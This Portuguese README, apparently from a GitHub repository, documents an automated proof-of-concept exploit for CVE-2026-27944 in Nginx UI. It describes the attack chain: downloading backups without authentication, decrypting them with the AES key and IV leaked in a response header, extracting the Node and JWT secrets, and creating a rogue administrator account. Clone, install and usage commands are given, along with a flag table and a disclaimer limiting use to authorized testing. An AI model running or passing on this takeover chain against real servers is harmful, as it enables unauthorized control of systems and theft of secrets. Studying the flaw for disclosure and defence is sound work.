
Exploit automatizado para CVE-2026-27944 no Nginx UI: baixa e descriptografa backups, extrai segredos e cria contas de administrador fraudulentas para assumir totalmente o painel de controle.
Este repositório contém um Proof of Concept (POC) aprimorado para CVE-2026-27944, uma vulnerabilidade crítica no Nginx UI.
A vulnerabilidade permite que um atacante não autenticado baixe backups do sistema através do endpoint /api/backup. Além disso, a aplicação vaza a chave de criptografia AES-256 e o IV no cabeçalho de resposta HTTP X-Backup-Security, permitindo que o atacante descriptografe facilmente o backup baixado.
Este POC aprimorado automatiza toda a cadeia de ataque: baixar o backup, descriptografar seu conteúdo, extrair segredos de configuração (como o Node Secret e o JWT Secret) e aproveitar esses segredos para contornar a autenticação e criar uma conta de administrador rogue para assumir completamente o painel.
Esta ferramenta é apenas para fins educacionais e testes de penetração autorizados. Não use esta ferramenta contra sistemas que você não possui ou para os quais não tem permissão explícita para testar. O autor não é responsável por qualquer uso indevido ou dano causado por este script.
X-Backup-Security para extrair a chave AES e o IV codificados em Base64, e descriptografa o backup (AES-256-CBC).app.ini descriptografado para extrair informações sensíveis:
X-Node-Secret) para interagir com a API e criar um novo usuário administrador.pycryptodome (necessária para descriptografia AES)Clone o repositório:
git clone https://github.com/Skynoxk/CVE-2026-27944-POC.git
cd CVE-2026-27944-POC
Instale as dependências necessárias:
pip install pycryptodome
python exploit_enhanced.py --target <URL> [OPÇÕES]
1. Baixar e descriptografar apenas o backup:
python exploit_enhanced.py --target http://127.0.0.1:9000 --out backup.bin --decrypt
2. Baixar, descriptografar e extrair segredos de configuração:
python exploit_enhanced.py --target http://127.0.0.1:9000 --decrypt --show-secrets
3. Cadeia de Exploit Completa (Baixar, Descriptografar, Extrair Segredos e Criar Admin):
python exploit_enhanced.py --target http://127.0.0.1:9000 --decrypt --create-user hacker --password Pwned@123!
Se o flag --create-user for utilizado com sucesso, o script exibirá métodos detalhados para acessar o painel do Nginx UI, incluindo:
authorization usando o token JWT recuperado.curl usando o cabeçalho X-Node-Secret para contornar mecanismos de autenticação.| Argumento | Descrição | Padrão |
|---|
--target | (Obrigatório) URL base da instância do Nginx UI (ex.: http://127.0.0.1:9000) | |
--out | Caminho do arquivo para salvar o backup criptografado | backup.bin |
--decrypt | Descriptografar o backup baixado | False |
--extract-dir | Diretório para extrair os arquivos descriptografados | backup_extracted |
--show-secrets | Extrair e exibir segredos sensíveis do app.ini | False |
--create-user | Criar um usuário admin para acesso ao painel (especifique o nome de usuário) | |
--password | Senha para o novo usuário administrador | Admin@123456 |